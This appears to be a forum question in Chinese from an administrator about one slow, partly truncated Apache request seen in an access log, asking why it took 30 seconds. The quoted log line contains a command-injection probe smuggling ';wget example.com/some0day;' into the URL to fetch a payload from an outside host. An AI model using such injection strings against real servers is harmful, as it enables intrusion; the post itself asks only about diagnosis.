我正在检查我的 Apache 访问日志并发现了这一行:
%T Method Request Protocol Status %I %b %O User-Agent
30 GET /?x0a/x04/x0a/x02/x06/x08/x09/dns;wget%20example.com/some0day; HTTP/1.0 200 176 11593 8000 SomeBot
该请求不会在服务器繁忙时发生。此外,这种缓慢并没有出现在我的数据库慢查询日志中。这只是一次性事件。
由于这是 GET 查询,我想知道为什么它会导致这样的服务器延迟。输出大小%b
表明我的 Web 应用程序已正常处理它,并且应用程序日志中没有错误表明相反的情况。但是,当它发送回客户端时,输出似乎被截断,因为%O
小于%b
。
我知道这可能是一种攻击。但我想知道是什么原因导致 Apache 花费这么长时间来处理请求。